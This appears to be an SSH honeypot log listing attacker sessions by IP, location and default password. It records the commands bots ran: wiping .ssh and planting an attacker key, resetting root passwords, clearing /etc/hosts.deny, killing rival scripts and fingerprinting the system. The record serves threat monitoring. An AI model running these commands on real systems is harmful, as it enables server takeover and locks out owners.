$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_44 (179.32.201.5) — Cali, Colombia · 1 session · 19 cmds

2026-06-29 19:23 EDT · as root/Admin1234!

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:G9ottR7u1pSv"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 panda (114.67.232.93) — Chaowai, China · 1 session · 20 cmds

2026-06-28 21:25 EDT · as vestibular/vestibular

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "vestibular\nFCm5cbDsFkBO\nFCm5cbDsFkBO"|passwd|bash

$ Enter new UNIX password:

$ echo "vestibular\nFCm5cbDsFkBO\nFCm5cbDsFkBO\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 clog_root_4 (91.92.40.5) — Amsterdam, The Netherlands · 1 session · 9 cmds

2026-06-28 19:55 EDT · as root/123456

echo

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"

$ uname -s -v -n -m 2 > /dev/null

$ /bin/uname -s -v -n -m 2 > /dev/null

$ /usr/bin/uname -s -v -n -m 2 > /dev/null

$ busybox uname -s -v -n -m 2 > /dev/null

$ ( [ -f /proc/version ]

$ [ -f /proc/version ]

$ head -1 /proc/version | cut -d -f1

$ [ -f /etc/os-release ]

🎭 beefeater_root_2 (178.62.17.12) — Slough, United Kingdom · 1 session · 1 cmd

2026-06-28 17:56 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 cipher_root_44 (160.191.242.222) — Huế, Vietnam · 1 session · 19 cmds

2026-06-28 17:08 EDT · as root/Test1Test

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:dp8A2cGdkJYM"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_46 (23.249.28.115) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-06-28 16:38 EDT · as user1/toor

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "toor\n0BfgDiVl53or\n0BfgDiVl53or"|passwd|bash

$ Enter new UNIX password:

$ echo "toor\n0BfgDiVl53or\n0BfgDiVl53or\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wok_root_15 (111.228.13.226) — Beijing, China · 1 session · 20 cmds

2026-06-28 16:28 EDT · as user1/toor

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "toor\nKZSHVdN6yN6H\nKZSHVdN6yN6H"|passwd|bash

$ Enter new UNIX password:

$ echo "toor\nKZSHVdN6yN6H\nKZSHVdN6yN6H\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_51 (105.28.108.165) — Pretoria, South Africa · 1 session · 20 cmds

2026-06-28 16:26 EDT · as admin1/1qaz@WSX

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1qaz@WSX\nzgK5QHRhcCZZ\nzgK5QHRhcCZZ"|passwd|bash

$ Enter new UNIX password:

$ echo "1qaz@WSX\nzgK5QHRhcCZZ\nzgK5QHRhcCZZ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_sol (117.102.86.226) — Bekasi, Indonesia · 1 session · 19 cmds

2026-06-28 13:44 EDT · as root/doly321

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:WJj1wjed7Cyd"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 monsoon_root_7 (206.1.62.130) — Hyderabad, India · 1 session · 19 cmds

2026-06-28 13:42 EDT · as root/!qazxsw@#edcvfr$

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:mB32Bv1uoAIu"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 lantern_root_14 (1.180.246.242) — Haoxinying, China · 1 session · 1 cmd

2026-06-28 13:29 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 samba_root_10 (34.95.197.36) — Sao Paulo, Brazil · 1 session · 19 cmds

2026-06-28 12:36 EDT · as root/alabala

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:htwx8RyXK3LD"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 lantern_root_15 (117.34.85.169) — Liuxiang, China · 1 session · 19 cmds

2026-06-28 12:22 EDT · as root/q1w2e3r4Q!W@E#R$

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:wU5Ig2bgWQ34"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_20 (123.58.215.196) — Hong Kong, Hong Kong · 1 session · 19 cmds

2026-06-28 12:20 EDT · as root/w1e2r3t4

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:LxJNNgm2fX3c"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 sakura_root_4 (8.216.43.147) — Tokyo, Japan · 1 session · 19 cmds

2026-06-28 12:12 EDT · as root/alabala

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:4pSJbdfva0Lm"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_28 (165.99.16.135) — Phù Mỹ, Vietnam · 2 sessions · 40 cmds

2026-06-28 10:23 EDT · as columbus/123456, orient/orient

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "orient\nzYh8gyBv39oX\nzYh8gyBv39oX"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "orient\nzYh8gyBv39oX\nzYh8gyBv39oX\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123456\no2hPmYiUAsWP\no2hPmYiUAsWP"|passwd|bash

$ echo "123456\no2hPmYiUAsWP\no2hPmYiUAsWP\n"|passwd

🎭 rogue_4 (37.32.7.224) — Tehran, Iran · 1 session · 14 cmds

2026-06-28 10:20 EDT · as orient/orient

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

